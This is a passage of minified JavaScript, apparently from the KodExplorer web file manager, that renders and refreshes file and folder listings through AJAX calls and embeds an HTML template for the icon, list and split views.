e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var o=e.outerHeight()+$sizeInt(e.css("margin-bottom")),s=Math.ceil($(Config.BodyContent).height()/o),r=Math.ceil(i/n)*o;return t.css("top",r),s*n},resetTotalHeight=function(){var e=".bodymain .fileContiner > .file",t=$(e).last(),i=$(".bodymain .fileContinerMore");if(0!=t.length){var a=G.json_data.folderlist.length+G.json_data.filelist.length;if(i.css("top",0),!(pageLoadMax>a||"list_split"==G.user_config.list_type)){var n=t.outerWidth()+$sizeInt(t.css("margin-right")),o=parseInt($(".fileContiner").width()/n);"icon"!=G.user_config.list_type&&(o=1);var s=t.outerHeight()+$sizeInt(t.css("margin-bottom"));Math.ceil($(Config.BodyContent).height()/s);var r=Math.ceil(a/o)*s;i.css("top",r)}}},loadMoreDelayTimer,loadMore=function(){var e=$(".bodymain .fileContiner > .file"),t=e.last(),i=e.length-1,a=G.json_data.folderlist.length+G.json_data.filelist.length;if(!(i>=a-1||"list_split"==G.user_config.list_type)){var n=$(".bodymain").scrollTop(),o=$(".bodymain").height(),s=$(".bodymain").offset().top;$(".fileContiner").offset().top;var r=t.outerHeight()+$sizeInt(t.css("margin-bottom")),l=s+o-r;if(l>t.offset().top){var c=l-t.offset().top,d=getPageNumber(),p=Math.ceil(c/o),f=p*d+i;f>a&&(f=a),f-i>1e3?($(".init_loading").show(),clearTimeout(loadMoreDelayTimer),loadMoreDelayTimer=setTimeout(function(){loadMoreSet(i+1,f),$(".bodymain").scrollTop(n)},300)):loadMoreSet(i+1,f)}}},loadMoreSet=function(e,t){var i=makeHtml(G.json_data,e,t),a=$(i);a.appendTo(".fileContiner"),ui.fileLight.fileListAll($(Config.FileBoxClass)),ui.fileLight.menuAction("clear"),lazyLoadImage(),$(".init_loading").hide()},makeHtml=function(e,t,i){var a=template.compile(tpl),n="",o=[];o="up"==G.user_config.list_sort_order?e.folderlist.concat(e.filelist):e.filelist.concat(e.folderlist),(!i||i>=o.length-1)&&(i=o.length-1);for(var s=t;i>=s;s++){var r="folder"==o[s].type?"_folder":"_file",l={LNG:LNG,G:G,list:o[s],index:s,type:G.user_config.list_type+r};o[s].icon&&"icon_file"==l.type&&"oexe"==o[s].ext&&(l.oexe_icon=o[s].icon,"string"==$.type(o[s].icon)&&-1==o[s].icon.search(G.static_path)&&"http"!=o[s].icon.substring(0,4)&&(l.oexe_icon=G.static_path+"images/file_icon/icon_app/"+o[s].icon)),n+=a(l)}return n},pathChildrenTree=function(e,t){if("string"==$.type(e))var i=$('.file[data-path="'+pathHashEncode(e)+'"]');else{var i=e;e=ui.fileLight.path(i)}if(1==i.length){var a=i.find(".children_more"),n=i.find(".children_more_cert"),o=$('.children_list[data-path-children="'+pathHashEncode(e)+'"]'),s=23;if(n.toggleClass("cert_open"),o.toggleClass("hidden"),o.hasClass("child_aredy_init"))return pathListOdd(),void 0;i.addClass("loading_children"),pathGet(e,function(e){i.removeClass("loading_children");var n=makeHtml(e,0,getPageNumber()-1);""!=n&&(n=htmlListAction(e,n,!0)),o.html(n),ajaxLive(),o.addClass("child_aredy_init");var r=s+parseInt(a.css("padding-left"));o.find(".file .children_more").css("padding-left",r),pathListOdd(),"function"==typeof t&&t(e)})}},htmlListAction=function(e,t,i){if(""==t)return t='<div style="text-align:center;color:#aaa;">'+LNG.path_null+"</div>";var a=e.folderlist.concat(e.filelist);if(a.length>pageLoadMax){var n=core.pathFather(a[0].path);"list"==G.user_config.list_type&&i?t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox" data-size="0">'+'<div class="filename" style="width: 424px;">'+'<span class="children_more"></span>'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"</span>"+"</div>"+"</div>":"list_split"==G.user_config.list_type&&(t+='<div data-path-children="'+pathHashEncode(n)+'" class="file folderBox splitLoadMore" data-size="0">'+'<div class="filename">'+'<div class="ico" filetype="folder"><i class="icon-plus-sign"></i></div>'+'<span class="title">'+LNG.file_load_all+"(to list)</span>"+"</div>"+"</div>")}return t},pathListOdd=function(){var e=0;ui.fileLight.fileListAll().each(function(){0==$(this).parents(".hidden").length&&(0==e%2?$(this).addClass("file2"):$(this).removeClass("file2"),e++)})},pathChildrenSplit=function(e,t){var i=$('.file[data-path="'+pathHashEncode(e)+'"]'),a=$(".fileList_list_split .split_box[data-path='"+pathHashEncode(e)+"']");if(0==i.length)return"function"==typeof t&&t(),void 0;if(1==a.length)return a.nextAll().remove(),"function"==typeof t&&t(),void 0;var n=i.parent().parent();pathSplitCreate(e,t,n)},pathSplitCreate=function(e,t,i){pathGet(e,function(a){if("not_exists"==a.path_read_write)return t(a);var n=makeHtml(a,0,getPageNumber()-1);if(n=htmlListAction(a,n,!0),i)if(i.nextAll(".split_box").length>0){var o=i.next(".split_box");o.attr("data-path",pathHashEncode(e)).find(".content").html(n),o.nextAll().remove()}else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).insertAfter(i).data("jsonData",a);else n='<div class="split_box" data-path="'+pathHashEncode(e)+'"><div class="content">'+n+'<div class="content_more"></div></div><div class="split_drag"></div></div>',$(n).appendTo(".fileList_list_split").data("jsonData",a);ajaxLive(),"function"==typeof t&&t()})},beforeSelectFileArr={},beforeListOpenArr={},beforeListOpen={},beforeListSplitSelect="",beforeScrollerLeft=0,f5Before=function(){if(!("icon"==G.user_config.list_type||beforeListOpenArr.length>0))if(beforeListOpenArr={},beforeListOpen={},"list"==G.user_config.list_type){var e=$(".child_aredy_init:visible");if(1>e.length)return;e.each(function(){var e=$(this),t=beforeListOpenArr,i=ui.fileLight.path(e,"data-path-children");beforeListOpen[i]=!1;for(var a=[i];0!=e.parents(".children_list").length;)e=e.parents(".children_list"),a.push(ui.fileLight.path(e,"data-path-children"));for(var n=a.length-1;n>=0;n--){var o=a[n];t[o]!==void 0?t=t[o]:t[o]={}}})}else if("list_split"==G.user_config.list_type){var t=beforeListOpenArr;beforeScrollerLeft=$(".html5_drag_upload_box").scrollLeft(),beforeListSplitSelect=ui.fileLight.path($(".fileList_list_split .split_box.split_select")),$(".fileContiner .split_box").each(function(){var e=ui.fileLight.path($(this));""!=e&&(t[e]={},t=t[e],beforeListOpen[e]=!1)})}},f5After=function(e){return"icon"==G.user_config.list_type||0==Object.keys(beforeListOpenArr).length?(f5AfterReloadFinished(e),void 0):("list_split"==G.user_config.list_type&&$(".fileList_list_split .split_box").remove(),f5AfterReload(beforeListOpenArr,e),void 0)},f5AfterReload=function(e,t){$.each(e,function(e,i){var a=pathChildrenTree;"list_split"==G.user_config.list_type&&(a=pathSplitCreate),a(e,function(){beforeListOpen[e]=!0,0!=Object.keys(i).length?f5AfterReload(i,t):f5AfterReloadFinished(t)})}),f5AfterReloadFinished(t)},f5AfterReloadFinished=function(e){for(var t in beforeListOpen)if(beforeListOpen[t]===!1)return;$(".html5_drag_upload_box").scrollLeft(beforeScrollerLeft),ui.path.setSelectByFilename(beforeSelectFileArr),ui.fileSelect.selectSplit(beforeListSplitSelect),beforeListOpenArr={},beforeListOpen={},beforeSelectFileArr={},beforeListSplitSelect="","function"==typeof e&&e()},f5=function(e,t,i){if(void 0==e&&(e=!0),void 0==t&&(t=!1),jsonDataSortTitle(),f5Before(),beforeSelectFileArr=ui.fileLight.getAllName(),e?pathGet(G.this_path,function(e){G.json_data=e,mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i),"desktop"!=Config.pageApp?ui.headerAddress.addressSet():checkRecycle()},function(){$(Config.FileBoxSelector).html("")}):(G.json_data=jsonDataSort(G.json_data),mainSetData(t),pathTypeChange(G.json_data),loadMore(),resetTotalHeight(),f5After(i)),"desktop"!=Config.pageApp){var a=G.user_id||G.sid;LocalData.set("this_path_"+a,G.this_path)}},jsonDataSort=function(e){e=jsonDatafilter(e);var t=e.folderlist,i=e.filelist;return t="size"==G.user_config.list_sort_field||"ext"==G.user_config.list_sort_field?t.sort(sortBy("name",G.user_config.list_sort_order)):t.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),i=i.sort(sortBy(G.user_config.list_sort_field,G.user_config.list_sort_order)),e.folderlist=t,e.filelist=i,e},pathGet=function(e,t,i){var a="index.php?explorer/pathList&path="+urlEncode(e);G.user&&(a="index.php?share/pathList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),$.ajax({url:a,dataType:"json",beforeSend:function(){$(".tools-left .msg").stop(!0,!0).fadeIn(200)},success:function(e){if($(".tools-left .msg").fadeOut(300),!e||!e.code)return Tips.tips(e),"function"==typeof i&&i(),!1;var a=jsonDataSort(e.data);"function"==typeof t&&t(a)},error:function(e,t,a){$(".tools-left .msg").fadeOut(300),core.ajaxError(e,t,a),"function"==typeof i&&i()}})},f5Callback=function(e){f5(!0,!1,e)},jsonDatafilter=function(e){if(!e)return json_data;if(void 0!=e.share_list&&(self_share=e.share_list),e.filter_success===!0)return e;for(var t in e)if("filelist"==t||"folderlist"==t)for(var i=0;e[t].length>i;i++){var a=e[t][i];if(a.mtime&&11>=(""+a.mtime).length)if(a.atime=date(LNG.time_type,a.atime),a.ctime=date(LNG.time_type,a.ctime),e.info&&e.info.path_type==G.KOD_USER_SHARE&&-1==trim(e.this_path,"/").indexOf("/")){var n=parseInt(a.num_view);n=isNaN(n)?0:n;var o=parseInt(a.num_download);o=isNaN(o)?0:o;var s=date("Y/m/d ",a.mtime)+" ";s+=LNG.share_view_num+n+" "+LNG.share_download_num+o,a.mtime=s}else a.mtime=date(LNG.time_type,a.mtime);a.name=htmlEncode(a.name),a.sid&&"file"==a.type&&(a.ext=htmlEncode(core.pathExt(a.path))),pathIsShare(a.path)?a.meta_info="path_self_share":pathIsFav(a.path)&&(a.meta_info="treeFav"),"number"==typeof a.is_readable&&0==a.is_readable?a.mode="["+LNG.not_read+"] "+a.mode:"number"==typeof a.is_writeable&&1==a.is_writeable?a.mode="["+LNG.system_role_write+"] "+a.mode:"number"==typeof a.is_readable&&1==a.is_readable&&(a.mode="["+LNG.only_read+"] "+a.mode),e.info&&e.info.path_type==G.KOD_USER_RECYCLE&&trim(e.this_path,"/")==G.KOD_USER_RECYCLE&&(a.menuType="menuRecyclePath")
|
||
}return e.filter_success=!0,e},jsonDataSortTitle=function(){var up='<i class="font-icon icon-chevron-up"></i>',down='<i class="font-icon icon-chevron-down"></i>';$("#main_title .this").toggleClass("this").attr("id","").find("span").html(""),$("#main_title div[field="+G.user_config.list_sort_field+"]").addClass("this").attr("id",G.user_config.list_sort_order).find("span").html(eval(G.user_config.list_sort_order))},pathIsShare=function(e){for(var t in G.self_share)if(core.pathClear(G.self_share[t].path)==core.pathClear(e))return!0;return!1},pathIsFav=function(e){var t=G.fav_list;for(var i in t)if(core.pathClear(i)==core.pathClear(e))return!0;return!1},checkRecycle=function(){$.ajax({url:"index.php?explorer/pathList&type=desktop&path="+G.KOD_USER_RECYCLE,dataType:"json",error:core.ajaxError,success:function(e){if(!e.code)return!1;var t=core.icon("recycle_full");0==e.data.folderlist.length&&0==e.data.filelist.length&&(t=core.icon("recycle")),$(".menuRecycleButton .ico").html(t)}})},pathTypeChange=function(e){if(e.info){var t=e.info,i=t.path_type,a=e.path_read_write,n="menuBodyMain menuRecycleBody menuShareBody",o=$(".html5_drag_upload_box");t.can_upload=!0,(void 0!=a&&"writeable"!=a||i==G.KOD_GROUP_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_USER_SHARE&&"owner"!=t.role&&1!=G.is_root||i==G.KOD_GROUP_PATH&&"guest"==t.role&&1!=G.is_root||i==G.KOD_USER_FAV||i==G.KOD_USER_RECYCLE||i==G.KOD_GROUP_ROOT_ALL||i==G.KOD_GROUP_ROOT_SELF)&&(t.can_upload=!1);var s=[G.KOD_USER_SHARE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];i==G.KOD_USER_RECYCLE?(o.removeClass(n).addClass("menuRecycleBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_recycle_tool").removeClass("hidden")):-1!==s.indexOf(i)?-1===core.pathClear(rtrim(G.this_path,"/")).indexOf("/")?(o.removeClass(n).addClass("menuShareBody"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_share_tool").removeClass("hidden"),t.id==G.user_id?($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").removeClass("hidden"),$(".menuSharePathMore").find(".remove").removeClass("hidden")):($(".menuSharePathMenu").find(".open_the_path,.share_edit,.remove").addClass("hidden"),$(".menuSharePathMore").find(".remove").addClass("hidden"))):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")):(o.removeClass(n).addClass("menuBodyMain"),$(".tools-left>.btn-group").addClass("hidden").parent().find(".kod_path_tool").removeClass("hidden")),currentPathMenu(e)}},currentPathMenu=function(e){var t=e.info,i=e.path_read_write,a=t.path_type,n=".createLink,.createProject,.cute,.remove,.rname,.zip,.unzip_this,.unzip_folder,.newfile,.newfolder,.newfileOther,.app_create,.app_install,.past,.upload,.clone",o="disable";if(t.can_upload?($("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).removeClass(o),$(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled")):($(".kod_path_tool>button").addClass("disabled"),$("ul.menufolder,ul.menuMore,ul.menufile,ul.fileContiner_menu").find(n).addClass(o),$(".path_tips span").html(LNG.only_read),a==G.KOD_USER_RECYCLE||a==G.KOD_USER_SHARE?($(".path_tips").hide(),$(".kod_path_tool>button").removeClass("disabled"),a==G.KOD_USER_SHARE&&G.user_id!=t.id&&$(".kod_path_tool>button").addClass("disabled")):$(".path_tips").show()),(a==G.KOD_GROUP_PATH||a==G.KOD_GROUP_SHARE)&&G.is_root||a==G.KOD_GROUP_PATH&&"owner"==t.role){var s=e.group_space_use;if(s){var r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".group_space_use").removeClass("hidden").html(r)}else $(".group_space_use").addClass("hidden")}else $(".group_space_use").addClass("hidden");if(e.user_space){var s=e.user_space,r=core.userSpaceHtml(s.size_use+"/"+s.size_max);$(".user_space_info").html(r)}if("not_exists"==i&&($(".path_tips span").html(LNG.not_exists),$(".path_tips").show()),$(".role_label_box").html(""),a==G.KOD_GROUP_SHARE){var l="<span class='label label-grey-light' title-timeout='0' title='"+LNG.group_guest_desc+"'>"+LNG.group_guest+"<span>";$(".role_label_box").html(l),G.is_root&&$(".role_label_box").html("")}else if(a==G.KOD_GROUP_PATH&&t.group_role){var l="<span class='label label-"+t.group_role.style+"' title-timeout='0' title='"+LNG.group_role_lebel_desc+"'>"+t.group_role.name+"<span>";$(".role_label_box").html(l)}(a==G.KOD_GROUP_ROOT_ALL||a==G.KOD_GROUP_ROOT_SELF||a==G.KOD_USER_FAV||a==G.KOD_GROUP_SHARE)&&$(".path_tips").hide(),1==G.is_root&&t.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}} {{LNG.permission}} : {{list.mode}} {{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}} {{LNG.permission}} : {{list.mode}} {{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}} {{LNG.permission}} : {{list.mode}} {{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}} {{LNG.size}}:{{list.size |core.fileSize}} {{LNG.permission}} : {{list.mode}} {{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}} {{LNG.size}}:{{list.size |core.fileSize}} {{LNG.permission}} : {{list.mode}} {{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}} {{LNG.size}}:{{list.size |core.fileSize}} {{LNG.permission}} : {{list.mode}} {{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),a=e("./pathOpen"),n=!1;ui.pathOpen=a,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,u().type)&&a.open(u().path,u().type)},r=function(e,t){var i=["menuTreeGroup","menuTreeFav","menuTreeFolderFav"];if(e&&e[0]&&-1!==$.inArray(e[0].menuType,i))return e;for(var a=[],n=[],o=0;e.length>o;o++)e[o].drop=!1,e[o].drag=!1,e[o].name=e[o].name,e[o].isParent&&e[o].children&&(e[o].children=r(e[o].children)),e[o].is_writeable,"folder"==e[o].type?n.push(e[o]):a.push(e[o]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),a=a.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n.concat(a))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},a=function(t){for(var i=0;t.length>i;i++){var a=t[i].path;void 0!==e[a]&&(t[i].open=e[a])}return t},n=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),a={},n=0;t.length>n;n++)a[t[n].path]=t[n].open;return e=a,i(e),e};return e=i(),{list:function(){return e},reset:a,save:n}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div 